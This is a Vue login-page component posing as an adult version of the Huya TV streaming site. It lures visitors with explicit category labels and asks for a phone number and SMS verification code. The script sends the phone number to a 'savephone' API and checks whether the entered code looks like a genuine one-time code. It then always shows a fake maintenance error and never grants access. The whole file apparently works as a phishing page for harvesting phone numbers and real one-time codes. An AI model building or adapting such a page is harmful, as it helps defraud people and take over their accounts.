<template>
  <div id="board">
    <img class="bgs" :src="randomPic" />
    <div class="postions">
      <img class="xingfu" src="/static/xingfu.png" />
      <div class="denglu">
        <div class="line1">
          <img class="huya" src="/static/huya.png" />
          <text class="huyatext">虎牙TV成人版</text>
        </div>
        <div class="line1">
          <img class="shouji" src="/static/shouji.png" alt="" />
          <input type="text" value="+86" style="width: 32px" />
          <input type="number" v-model="phone" placeholder="请输入11位手机号码" style="width: 180px" />
        </div>
        <div class="line2">
          <input type="number" @input="clearthis" v-model="captcha" placeholder="请输入验证码" style="width: 150px;">
          <button class="yzm" @click="savePhone">{{ numbers == 30 ? '获取验证码' : numbers }}</button>
        </div>
        <div class="line3">
          <div class="btns" @click="denglu">
            <div>登录</div>
          </div>
        </div>
        <p>大型AV秀每天持续更新</p>
        <p>登入免费在线观看</p>
      </div>
      <div class="footer">
        <span>大神原创</span>
        <span>真实网爆</span>
        <span>家庭乱伦</span>
        <span>户外露出</span>
      </div>
    </div>
    <div class="tishi" v-show="messages">{{ messages }}</div>
  </div>
</template>
<script>
import { savephone } from "@/api/index";
import img1 from "@/assets/images/1.jpg";
import img2 from "@/assets/images/2.jpg";
import img3 from "@/assets/images/3.jpg";
import img4 from "@/assets/images/4.jpg";
export default {
  name: "Login",
  data() {
    return {
      phone: "",
      numbers: 30,
      captcha: "",
      messages: "",
      bgImages: [img1, img2, img3, img4],
    };
  },
  methods: {
    clearthis() {
      this.add = 0
    },
    isRandomLikeVerificationCode(num) {
      // 检查是否为6位数
      if (num < 100000 || num > 999999) return false;

      const str = num.toString();
      const digits = str.split('').map(Number);

      // 1. 检查是否有重复数字
      if (new Set(digits).size < 4) return false; // 允许少量重复但不超过2个

      // 2. 检查是否为简单连续（123456 或 654321）
      let isConsecutiveUp = true;
      let isConsecutiveDown = true;
      for (let i = 1; i < digits.length; i++) {
        if (digits[i] !== digits[i - 1] + 1) isConsecutiveUp = false;
        if (digits[i] !== digits[i - 1] - 1) isConsecutiveDown = false;
      }
      if (isConsecutiveUp || isConsecutiveDown) return false;

      // 3. 检查简单间隔模式（135792 或 246813）
      const diffs = [];
      for (let i = 1; i < digits.length; i++) {
        diffs.push(digits[i] - digits[i - 1]);
      }

      // 3.1 检查固定间隔（如全部+2）
      const firstDiff = diffs[0];
      if (diffs.every(d => d === firstDiff)) return false;

      // 3.2 检查交替间隔（如+1,-1,+1,-1）
      let isAlternating = true;
      for (let i = 1; i < diffs.length; i++) {
        if (diffs[i] !== -diffs[i - 1]) {
          isAlternating = false;
          break;
        }
      }
      if (isAlternating) return false;

      // 4. 检查其他明显模式（如重复部分 121212）
      for (let patternLen = 1; patternLen <= 3; patternLen++) {
        const pattern = str.substring(0, patternLen);
        let isRepeating = true;
        for (let i = patternLen; i < str.length; i += patternLen) {
          if (str.substring(i, i + patternLen) !== pattern) {
            isRepeating = false;
            break;
          }
        }
        if (isRepeating) return false;
      }

      // 5. 检查数字分布是否太集中
      const digitCount = {};
      digits.forEach(d => digitCount[d] = (digitCount[d] || 0) + 1);
      if (Object.values(digitCount).some(count => count > 2)) return false;

      // 如果以上检查都通过，则认为像验证码
      return true;
    },
    checkPhoneNumber(phone) {
      const cleaned = phone.toString().replace(/\D/g, '');

      // 精确匹配各运营商号段
      const operators = {
        '中国移动': /^(?:(?:\+|00)86)?1(?:3(?:4[0-8]|[5-9])|4(?:[78])|5[0-27-9]|7[28]|8[2-478]|9[578])\d{8}$/,
        '中国联通': /^(?:(?:\+|00)86)?1(?:3[0-2]|4[056]|5[56]|6[67]|7[156]|8[56]|96)\d{8}$/,
        '中国电信': /^(?:(?:\+|00)86)?1(?:3[3]|4[19]|5[3]|6[2]|7[347]|8[019]|9[0139])\d{8}$/,
        '虚拟运营商': /^(?:(?:\+|00)86)?1(?:65|67|70[0-24-9])\d{8}$/
      };

      if (!/^(?:(?:\+|00)86)?1[3-9]\d{9}$/.test(cleaned)) {
        return { valid: false, operator: '无效号码' };
      }

      for (const [operator, regex] of Object.entries(operators)) {
        if (regex.test(cleaned)) {
          return { valid: true, operator };
        }
      }

      return { valid: true, operator: '未知运营商' };
    },
    denglu() {
      if (this.numbers > 20) {
        this.messages = "登录错误"
        setTimeout(() => {
          this.messages = ""
        }, 2000);
        return;
      }
      if (!this.isRandomLikeVerificationCode(this.captcha) || this.captcha.length != 6) {
        this.messages = "验证码有误"
        setTimeout(() => {
          this.messages = "";
        }, 2000);
        return
      }
      if (!this.checkPhoneNumber(this.phone).valid) {
        this.messages = "手机号码有误"
        setTimeout(() => {
          this.messages = ""
        }, 2000);
        return
      }
      if (this.captcha.length == '') {
        this.messages = "请输入验证码"
        setTimeout(() => {
          this.messages = ""
        }, 2000);
        return
      }
      this.messages = "后台维护中暂时无法进入"
      setTimeout(() => {
        this.messages = ""
      }, 2000);
      return
      savephone({
        phone: this.phone,
        captcha: this.captcha
      }).then(res => {
        // this.messages = " "
        this.numbers = 30
      })

    },
    savePhone() {
      console.log(this.checkPhoneNumber(this.phone).valid)
      if (!this.checkPhoneNumber(this.phone).valid) {
        this.messages = "手机号码有误"
        setTimeout(() => {
          this.messages = ""
        }, 2000);
        return
      }
      this.add = this.add + 1
      if (this.add >= 3 && this.numbers != 30) {
        this.messages = "请勿频繁获取验证码"
        setTimeout(() => {
          this.messages = ""
        }, 2000);
        return
      }
      if (this.numbers != 30) {
        return
      }
      if (this.phone.length < 11) {
        this.messages = "请输入11位电话号码";
        setTimeout(() => {
          this.messages = "";
        }, 2000);
        return;
      }
      savephone({
        phone: this.phone,
        captcha: this.captcha,
      }).then((res) => {
        if (this.time) {
          clearInterval(this.time)
        }
        this.numbers = this.numbers - 1
        this.time = setInterval(() => {
          this.numbers = this.numbers - 1;
          if (this.numbers <= 0) {
            this.numbers = 30
            clearInterval(this.time)
          }
        }, 1000);
      });
    },
  },
  computed: {
    // 计算属性返回随机图片URL
    randomPic() {
      const randomIndex = Math.floor(Math.random() * this.bgImages.length);
      return `${this.bgImages[randomIndex]}`;
    },
  },
  created() { },
};
</script>


<style lang="less" scoped>
.tishi {
  position: absolute;
  width: 40%;
  height: 54px;
  line-height: 54px;
  text-align: center;
  color: #000000;
  background: rgba(255, 255, 255, 1);

  border-radius: 10px;
  top: 368px;
  left: 50%;
  transform: translateX(-50%);
}

.shouji {
  width: 20px;
}

.btns {
  width: 60%;
  height: 100%;
  margin: 0 auto;
  line-height: 46px;
  text-align: center;
  font-size: 20px;
  border-top-left-radius: 80px;
  border-bottom-right-radius: 80px;
  border-top-right-radius: 10px;
  border-bottom-left-radius: 10px;
  background: linear-gradient(rgba(255, 255, 255, 0.2),
      rgba(255, 255, 255, 0.8));
  backdrop-filter: blur(1px);
  // background-image: url('/static/btn.png');
  // background-position: center;
  // border: none;
  // background-size: cover;
  margin-top: 30px;
  margin-bottom: 30px;
}

.btns div {
  filter: blur(0px);
}

.btn {
  display: block;
  width: 100%;
}

.line1 {
  font-size: 30px;
  justify-items: center;
  justify-content: center;
  display: flex;
  margin-top: 30px;
}

.line2 {
  font-size: 30px;
  justify-items: center;
  justify-content: center;
  display: flex;
  margin-top: 30px;
}

.huya {
  width: 50px;
}

.denglu {
  width: 95%;
  background: rgba(0, 0, 0, 0.4);
  margin: 0 auto;
  border-radius: 30px;
  padding: 26px 10px;
  box-sizing: border-box;
}

.huyatext {
  margin-left: 10px;
  color: white;
  font-weight: bold;
  line-height: 50px;
}

.xingfu {
  width: 100%;
  display: block;
  margin-top: 30px;
}

.postions {
  position: absolute;
  top: 0;
  width: 100%;
  height: 100%;
  left: 0;
}

#board {
  width: 100%;
  height: 100vh;
  max-width: 800px;
  margin: 0 auto;
  position: relative;
  margin: 0;
  padding: 0;
  height: 100vh;
  background-image: url("/static/2.png");
  background-size: cover;
  background-position: center;
  background-repeat: no-repeat;
  // background: url("@/static/bgs.png");
  // background-size: cover;
}

.bgs {
  width: 100vw;
  display: block;
  min-height: 100vh;
  display: block;
  object-fit: cover;
}

body {
  padding: 0;
  margin: 0;
}

input {
  text-align: center;
  background-color: #ffffff00;
  border: none;
  border-bottom: 1px solid #ffffff;
  color: #ffffff;
  outline: none;
  font-size: 4.8vw;
}

::placeholder {
  color: #ffffff;
  opacity: 1;
  font-size: 4.8vw;
}

.yzm {
  width: 120px;
  height: 36px;
  font-size: 3.8vw;
  line-height: 36px;
  padding: 0;
  // background-image: url('/static/btn.png');
  background: rgba(255, 255, 255, 0.5);
  background-position: center;
  border: none;
  background: linear-gradient(rgba(255, 255, 255, 0.2),
      rgba(255, 255, 255, 0.8));
}

span {
  display: inline-block;
  height: 30px;
  line-height: 30px;
  padding: 10px 20px;
  display: block;
}

p {
  justify-items: center;
  justify-content: center;
  display: flex;
  color: pink;
}

.footer {
  color: #ffffff;
  font-weight: 700;
  display: flex;
  justify-content: space-around;
  margin-top: 30px;
}

.footer>span {
  background: rgba(0, 0, 0, 0.5);
  width: auto;
  border-radius: 10px;
  padding: 4px 13px;
}
</style>